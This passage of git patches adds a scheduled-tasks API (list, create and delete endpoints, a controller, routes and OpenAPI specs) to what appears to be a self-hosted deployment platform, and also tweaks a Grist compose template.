GRIST_ORG_IN_PATH=${ORG_IN_PATH:-true} - GRIST_OIDC_SP_HOST=${SERVICE_URL_GRIST} - GRIST_OIDC_IDP_SCOPES=${OIDC_IDP_SCOPES:-openid profile email} @@ -37,7 +36,7 @@ services: - TYPEORM_DATABASE=${POSTGRES_DATABASE:-grist-db} - TYPEORM_USERNAME=${SERVICE_USER_POSTGRES} - TYPEORM_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - - TYPEORM_HOST=${TYPEORM_HOST} + - TYPEORM_HOST=${TYPEORM_HOST:-postgres} - TYPEORM_PORT=${TYPEORM_PORT:-5432} - TYPEORM_LOGGING=${TYPEORM_LOGGING:-false} - REDIS_URL=${REDIS_URL:-redis://redis:6379} From 281283b12db51aa2c5b9618b3db9484fa05912f1 Mon Sep 17 00:00:00 2001 From: John Rallis Date: Mon, 16 Feb 2026 15:13:50 +0200 Subject: [PATCH 052/305] Add SERVICE_URL_ --- templates/compose/grist.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml index e3b8ee70e..584d50872 100644 --- a/templates/compose/grist.yaml +++ b/templates/compose/grist.yaml @@ -9,6 +9,7 @@ services: grist: image: gristlabs/grist:latest environment: + - SERVICE_URL_GRIST_8484 - APP_HOME_URL=${SERVICE_URL_GRIST} - APP_DOC_URL=${SERVICE_URL_GRIST} - GRIST_DOMAIN=${SERVICE_FQDN_GRIST} From 8c6c2703cc9ea961e1b0bdd43d2ddc1fb4430527 Mon Sep 17 00:00:00 2001 From: Ahmed Date: Mon, 16 Feb 2026 22:26:58 +0300 Subject: [PATCH 053/305] feat: expose scheduled tasks to API --- .../Api/ScheduledTasksController.php | 362 ++++++++++++++++++ app/Models/ScheduledTask.php | 17 + routes/api.php | 7 + 3 files changed, 386 insertions(+) create mode 100644 app/Http/Controllers/Api/ScheduledTasksController.php diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php new file mode 100644 index 000000000..d9972a364 --- /dev/null +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -0,0 +1,362 @@ +makeHidden([ + 'id', + 'team_id', + 'application_id', + 'service_id', + 'standalone_postgresql_id', + ]); + + return serializeApiResponse($task); + } + + public function create_scheduled_task(Request $request, Application|Service $resource) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $validator = Validator::make($request->all(), [ + 'name' => 'required|string|max:255', + 'command' => 'required|string', + 'frequency' => 'required|string', + 'container' => 'string|nullable', + 'timeout' => 'integer|min:1', + 'enabled' => 'boolean', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + if (! validate_cron_expression($request->frequency)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + $task = new ScheduledTask(); + $data = $request->all(); + $task->fill($data); + $task->team_id = $teamId; + + if ($resource instanceof Application) { + $task->application_id = $resource->id; + } elseif ($resource instanceof Service) { + $task->service_id = $resource->id; + } + + $task->save(); + + return response()->json($this->removeSensitiveData($task), 201); + } + + #[OA\Get( + summary: 'List (Application)', + description: 'List all scheduled tasks for an application.', + path: '/applications/{uuid}/scheduled-tasks', + operationId: 'list-scheduled-tasks-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all scheduled tasks for an application.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTask') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function scheduled_tasks_by_application_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + $tasks = $application->scheduled_tasks->map(function ($task) { + return $this->removeSensitiveData($task); + }); + + return response()->json($tasks); + } + + #[OA\Post( + summary: 'Create (Application)', + description: 'Create a new scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks', + operationId: 'create-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['name', 'command', 'frequency'], + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Scheduled task created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_scheduled_task_by_application_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + return $this->create_scheduled_task($request, $application); + } + + #[OA\Get( + summary: 'List (Service)', + description: 'List all scheduled tasks for a service.', + path: '/services/{uuid}/scheduled-tasks', + operationId: 'list-scheduled-tasks-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all scheduled tasks for a service.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTask') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function scheduled_tasks_by_service_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + $tasks = $service->scheduled_tasks->map(function ($task) { + return $this->removeSensitiveData($task); + }); + + return response()->json($tasks); + } + + #[OA\Post( + summary: 'Create (Service)', + description: 'Create a new scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks', + operationId: 'create-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Scheduled task data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['name', 'command', 'frequency'], + properties: [ + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.', 'default' => 3600], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.', 'default' => true], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Scheduled task created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema(ref: '#/components/schemas/ScheduledTask') + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_scheduled_task_by_service_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->create_scheduled_task($request, $service); + } +} diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index bada0b7a5..f4b021f27 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -5,7 +5,24 @@ use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; +use OpenApi\Attributes as OA; +#[OA\Schema( + description: 'Scheduled Task model', + type: 'object', + properties: [ + 'id' => ['type' => 'integer', 'description' => 'The unique identifier of the scheduled task in the database.'], + 'uuid' => ['type' => 'string', 'description' => 'The unique identifier of the scheduled task.'], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.'], + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.'], + 'created_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'The date and time when the scheduled task was created.'], + 'updated_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'The date and time when the scheduled task was last updated.'], + ], +)] class ScheduledTask extends BaseModel { use HasSafeStringAttribute; diff --git a/routes/api.php b/routes/api.php index 8ff1fd1cc..fb91baa84 100644 --- a/routes/api.php +++ b/routes/api.php @@ -9,6 +9,7 @@ use App\Http\Controllers\Api\OtherController; use App\Http\Controllers\Api\ProjectController; use App\Http\Controllers\Api\ResourcesController; +use App\Http\Controllers\Api\ScheduledTasksController; use App\Http\Controllers\Api\SecurityController; use App\Http\Controllers\Api\ServersController; use App\Http\Controllers\Api\ServicesController; @@ -171,6 +172,12 @@ Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']); + + Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); + Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + + Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); + Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); }); Route::group([ From edc92d7edcca25030575241ca55cf62c18ef0d1f Mon Sep 17 00:00:00 2001 From: Ahmed Date: Tue, 17 Feb 2026 00:56:40 +0300 Subject: [PATCH 054/305] feat(api): add OpenAPI for managing scheduled tasks for applications and services --- openapi.json | 323 +++++++++++++++++++++++++++++++++++++++++++++++++++ openapi.yaml | 225 +++++++++++++++++++++++++++++++++++ 2 files changed, 548 insertions(+) diff --git a/openapi.json b/openapi.json index f5da0883f..0c4a3240e 100644 --- a/openapi.json +++ b/openapi.json @@ -3433,6 +3433,143 @@ ] } }, + "\/applications\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List Tasks", + "description": "List all scheduled tasks for an application.", + "operationId": "list-scheduled-tasks-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for an application.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create Tasks", + "description": "Create a new scheduled task for an application.", + "operationId": "create-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 3600 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ @@ -9967,6 +10104,143 @@ ] } }, + "\/services\/{uuid}\/scheduled-tasks": { + "get": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "List (Service)", + "description": "List all scheduled tasks for a service.", + "operationId": "list-scheduled-tasks-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get all scheduled tasks for a service.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Create (Service)", + "description": "Create a new scheduled task for a service.", + "operationId": "create-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Scheduled task data", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "name", + "command", + "frequency" + ], + "properties": { + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds.", + "default": 3600 + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled.", + "default": true + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Scheduled task created.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/ScheduledTask" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/teams": { "get": { "tags": [ @@ -10967,6 +11241,55 @@ }, "type": "object" }, + "ScheduledTask": { + "description": "Scheduled Task model", + "properties": { + "id": { + "type": "integer", + "description": "The unique identifier of the scheduled task in the database." + }, + "uuid": { + "type": "string", + "description": "The unique identifier of the scheduled task." + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled." + }, + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was last updated." + } + }, + "type": "object" + }, "Service": { "description": "Service model", "properties": { diff --git a/openapi.yaml b/openapi.yaml index 172607117..d329ec644 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2163,6 +2163,100 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for an application.' + operationId: list-scheduled-tasks-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for an application.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Tasks' + description: 'Create a new scheduled task for an application.' + operationId: create-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true, + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 3600 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: @@ -6231,6 +6325,100 @@ paths: security: - bearerAuth: [] + '/services/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List (Service)' + description: 'List all scheduled tasks for a service.' + operationId: list-scheduled-tasks-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for a service.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create (Service)' + description: 'Create a new scheduled task for a service.' + operationId: create-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 3600 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] /teams: get: tags: @@ -6944,6 +7132,43 @@ components: type: boolean description: 'The flag to indicate if the unused networks should be deleted.' type: object + ScheduledTask: + description: 'Scheduled Task model' + properties: + id: + type: integer + description: 'The unique identifier of the scheduled task in the database.' + uuid: + type: string + description: 'The unique identifier of the scheduled task.' + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + created_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was created.' + updated_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was last updated.' + type: object Service: description: 'Service model' properties: From a5d48c54da5320fab892b53e8877c739d1f23d71 Mon Sep 17 00:00:00 2001 From: Ahmed Date: Tue, 17 Feb 2026 01:33:46 +0300 Subject: [PATCH 055/305] feat(api): add delete endpoints for scheduled tasks in applications and services --- .../Api/ScheduledTasksController.php | 162 +++++++++++++++++- openapi.json | 118 +++++++++++++ openapi.yaml | 80 +++++++++ routes/api.php | 2 + 4 files changed, 358 insertions(+), 4 deletions(-) diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php index d9972a364..4778dec2a 100644 --- a/app/Http/Controllers/Api/ScheduledTasksController.php +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -77,7 +77,7 @@ public function create_scheduled_task(Request $request, Application|Service $res } #[OA\Get( - summary: 'List (Application)', + summary: 'List Task', description: 'List all scheduled tasks for an application.', path: '/applications/{uuid}/scheduled-tasks', operationId: 'list-scheduled-tasks-by-application-uuid', @@ -140,7 +140,7 @@ public function scheduled_tasks_by_application_uuid(Request $request) } #[OA\Post( - summary: 'Create (Application)', + summary: 'Create Task', description: 'Create a new scheduled task for an application.', path: '/applications/{uuid}/scheduled-tasks', operationId: 'create-scheduled-task-by-application-uuid', @@ -218,8 +218,85 @@ public function create_scheduled_task_by_application_uuid(Request $request) return $this->create_scheduled_task($request, $application); } + #[OA\Delete( + summary: 'Delete Task', + description: 'Delete a scheduled task for an application.', + path: '/applications/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'delete-scheduled-task-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Scheduled task deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_scheduled_task_by_application_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + $task = $application->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $task->delete(); + + return response()->json(['message' => 'Scheduled task deleted.']); + } + #[OA\Get( - summary: 'List (Service)', + summary: 'List Tasks', description: 'List all scheduled tasks for a service.', path: '/services/{uuid}/scheduled-tasks', operationId: 'list-scheduled-tasks-by-service-uuid', @@ -282,7 +359,7 @@ public function scheduled_tasks_by_service_uuid(Request $request) } #[OA\Post( - summary: 'Create (Service)', + summary: 'Create Task', description: 'Create a new scheduled task for a service.', path: '/services/{uuid}/scheduled-tasks', operationId: 'create-scheduled-task-by-service-uuid', @@ -359,4 +436,81 @@ public function create_scheduled_task_by_service_uuid(Request $request) return $this->create_scheduled_task($request, $service); } + + #[OA\Delete( + summary: 'Delete Task', + description: 'Delete a scheduled task for a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}', + operationId: 'delete-scheduled-task-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Scheduled task deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_scheduled_task_by_service_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->where('uuid', $request->uuid)->first(); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + $task = $service->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); + if (! $task) { + return response()->json(['message' => 'Scheduled task not found.'], 404); + } + + $task->delete(); + + return response()->json(['message' => 'Scheduled task deleted.']); + } } diff --git a/openapi.json b/openapi.json index 0c4a3240e..7df13e4ae 100644 --- a/openapi.json +++ b/openapi.json @@ -3570,6 +3570,65 @@ ] } }, + "\/applications\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for an application.", + "operationId": "delete-scheduled-task-by-application-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the application.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/cloud-tokens": { "get": { "tags": [ @@ -10241,6 +10300,65 @@ ] } }, + "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}": { + "delete": { + "tags": [ + "Scheduled Tasks" + ], + "summary": "Delete Task", + "description": "Delete a scheduled task for a service.", + "operationId": "delete-scheduled-task-by-service-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the service.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "task_uuid", + "in": "path", + "description": "UUID of the scheduled task.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Scheduled task deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Scheduled task deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/teams": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index d329ec644..ac684c98a 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2257,6 +2257,46 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for an application.' + operationId: delete-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: + type: string + example: 'Scheduled task deleted.' + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /cloud-tokens: get: tags: @@ -6419,6 +6459,46 @@ paths: security: - bearerAuth: [] + 